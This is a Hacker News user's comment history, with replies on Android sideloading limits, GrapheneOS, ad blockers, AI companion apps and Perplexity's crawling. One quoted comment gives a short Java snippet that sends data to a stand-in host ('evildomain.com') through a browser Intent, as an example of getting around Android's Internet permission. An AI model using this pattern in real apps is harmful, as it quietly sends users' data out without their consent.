sterlind (u/sterlind)

sterlind commented on Google will allow only apps from verified developers to be installed on Android 9to5google.com/2025/08/25... · Posted by u/kotaKat

al_borland · a day ago

> will not go as they think it will.

How will it go? Where are people going to go? People who draw a hard line on this can’t go to iOS for more freedom. Linux phones aren’t ready for prime time. So what’s left? Going back to a flip phone that doesn’t even have the capability of running apps in the same class?

sterlind · a day ago

Android forks. AOSP, GrapheneOS, LineageOS, CalyxOS.

we need more OEM unlockable phones, though. GOS is looking at getting one made, I'm planning to throw money at them to make it happen.

sterlind commented on Google will allow only apps from verified developers to be installed on Android 9to5google.com/2025/08/25... · Posted by u/kotaKat

UncleMeat · a day ago

> I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it.

   Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE);
   Intent i = new Intent(Intent.ACTION_VIEW, uri);
   startActivity(i);

Happily uses the browser app to do the data send for you. Requiring apps to have all the permissions of the recipient of an Intent before being allowed to send it would be a catastrophic change to the ecosystem.

sterlind · a day ago

so? pop up a permission prompt. have the user confirm.

and isn't it immediately apparent that the app is leaking data if your calculator is popping a webview?

sterlind commented on Google will allow only apps from verified developers to be installed on Android 9to5google.com/2025/08/25... · Posted by u/kotaKat

nabogh · a day ago

We need another os in the market. A duopoly just isn't competitive enough. Too bad the cost of entry is so high.

sterlind · a day ago

use a fork. GrapheneOS is amazing. I feel like I own my phone, I trust my phone, and it obeys me, for the first time in a decade.

unlock. flash. spread the word. use the fork, Luke.

sterlind commented on Google will allow only apps from verified developers to be installed on Android 9to5google.com/2025/08/25... · Posted by u/kotaKat

throw10920 · a day ago

This is really bad. I think that most people on HN will agree with that.

The problem is that most normal people (HN is not normal - mostly for the better) don't even understand what sideloading is - let alone actually care.

How can we fix this?

(aside from making people care - apathy enables so many political problems in the current age, but it's such a huge problem that this definitely isn't going to be the impetus to fix it)

sterlind · a day ago

> How can we fix this?

turn people onto sideloaded apps. show them Revanced and NewPipe, show them system-wide ad blockers and bloatware removal and every other thing Google doesn't want plebs to use.

people don't care about "apk side-loading," they care about apps. hook them on forbidden apps, and they'll raise hell when they can't side-load them anymore.

sterlind commented on Is Germany on the brink of banning ad blockers? blog.mozilla.org/netpolic... · Posted by u/Vinnl

sneak · 12 days ago

It’s an unauthorized modification (and production of a derivative work) of a copyrighted work.

sterlind · 9 days ago

it's perfectly legal to modify any copyrighted work. it's only illegal for you to distribute copies.

so it should be legal to install an ad block plugin, but not legal to run an ad-stripping proxy.

sterlind commented on OpenAI's new open-source model is basically Phi-5 seangoedecke.com/gpt-oss-... · Posted by u/emschwartz

michaelt · 19 days ago

The pro-porn side has zero PR because respectable public figures don't see pro-porn advocacy as a good career move. At most, you'll get some oblique references to it.

Meanwhile, the anti-porn side has a formidable alliance:

Right-wing, religiously-motivated anti-porn activists. Left-wing, feminism-motivated anti-porn activists. Big corporate types with lots of $$$$ to spend who want their customer support chatbot to be completely SFW at all times. AI safety folk who think keeping the model on a tight leash is an ethical obligation, lest future iterations take over the world. AI vendors who are keen on the yes-it-might-take-over-the-world narrative. AI vendors who just don't want their developers having to handle NSFW stuff in work. Politicians who don't know a transformer from a diffusion model, but who've heard a chorus of worries about lost jobs and AI bias and deepfakes and revenge porn.

These people will speak up in public at the drop of a hat.

sterlind · 19 days ago

on the other hand, Musk et al are building AI-powered thirst traps, like Grok's "Ani", or the accursed Replika bots (whose user base went on suicide watch when the company abruptly decided to digitally neuter their "companions.")

erotic roleplay, imo, is much less harmful than using LLMs as surrogate partners. porn and sex workers have existed for millenia. they're an outlet for sexual tension. they don't alleviate feeling lonely or provide an alternative to human companionship.

I'm worried we'll produce a generation of hikkikomoris, who eschew human connection for sycophantic machines that always listen and never breaks their heart.

sterlind commented on OpenAI's new open-source model is basically Phi-5 seangoedecke.com/gpt-oss-... · Posted by u/emschwartz

wmf · 19 days ago

I saw a bunch of people complaining on Twitter about how GPT-OSS can't be customized or has no soul and I noticed that none of them said what they were trying to accomplish.

"The main use-case for fine-tuning small language models is for erotic role-play, and there’s a serious demand."

Ah.

sterlind · 19 days ago

it's not erotic role-play, but I have a use case of making an AI-powered NetHack clone. specifically, to generate dungeon layouts, dialog for NPCs and to fill in the boatloads of minutae and interactions which NetHack is famous for.

you kind of need soul for that, and a lot of background knowledge on mythology/fantasy lore, but also tool use to work the world systems.

sterlind commented on Perplexity is using stealth, undeclared crawlers to evade no-crawl directives blog.cloudflare.com/perpl... · Posted by u/rrampage

lukeschlather · 23 days ago

You probably need a computer that costs $250,000 or more to run the kind of LLM that Perplexity uses, but with batching it costs pennies to have the same LLM fetch a page for you, summarize the content, and tell you what is on it. And the power usage similarly, running the LLM for a single user will cost you a huge amount of money relative to the power it takes in a cloud environment with many users.

Perplexity's "web crawler" is mostly operating like this on behalf of users, so they don't need a massively expensive computer to run an LLM.

sterlind · 22 days ago

does Perplexity store crawled pages for training?

sterlind commented on Perplexity is using stealth, undeclared crawlers to evade no-crawl directives blog.cloudflare.com/perpl... · Posted by u/rrampage

fxtentacle · 23 days ago

I find this problem quite difficult to solve:

1. If I as a human request a website, then I should be shown the content. Everyone agrees.

2. If I as the human request the software on my computer to modify the content before displaying it, for example by installing an ad-blocker into my user agent, then that's my choice and the website should not be notified about it. Most users agree, some websites try to nag you into modifying the software you run locally.

3. If I now go one step further and use an LLM to summarize content because the authentic presentation is so riddled with ads, JavaScript, and pop-ups, that the content becomes borderline unusable, then why would the LLM accessing the website on my behalf be in a different legal category as my Firefox web browser accessing the website on my behalf?

sterlind · 22 days ago

> why would the LLM accessing the website on my behalf be in a different legal category as my Firefox web browser accessing the website on my behalf?

is it just on your behalf? or is it on Perplexity's behalf? are they not archiving the pages to train on?

it's the difference between using Google Chrome vs. Chrome beaming full page snapshots to train Gemini on.

sterlind commented on 1KB JavaScript Numbers Station shkspr.mobi/blog/2025/07/... · Posted by u/blenderob

genewitch · a month ago

works on Firefox, on windows 11.

however even when it is working, it's not really like a numbers station. For a start, it needs varying static and clicks. Secondly, numbers stations don't generally say "seven hundred and thirty four", they generally say "seven. three. four." the random words repeated sometimes are a nice touch, though. And i like the idea of grabbing words from an internal list in the way the author did it. I wouldn't have thought of that, probably.

some numbers stations that i personally archived:

  https://soundcloud.com/djoutcold/31-may-2014-170948-19008500-mhz
  https://soundcloud.com/djoutcold/uvb-76-aug-23-2010-9-32ampst
  https://nextcloud.projectftm.com/index.php/s/unid-pizza-numbers [0]

here's one that sounds like a numbers station but can be argued is not, as the meaning is rather clear (if my memory serves):

  https://soundcloud.com/djoutcold/sdrsharp-20150825-020508z-4368khz-af

[0] i think this one is a joke; this one is the most representative of what numbers stations used to be like, though. Whoever made it really knew what they were doing, even though they used their knowledge to be a bit cheeky. I edited it because the music would blow out your speakers originally.

additionally, i know the 19008500-mhz is mislabeled, it should be 19.008500-mhz or instead of "mhz" just "hz"

sterlind · a month ago

what's the meaning of the one you said is rather clear?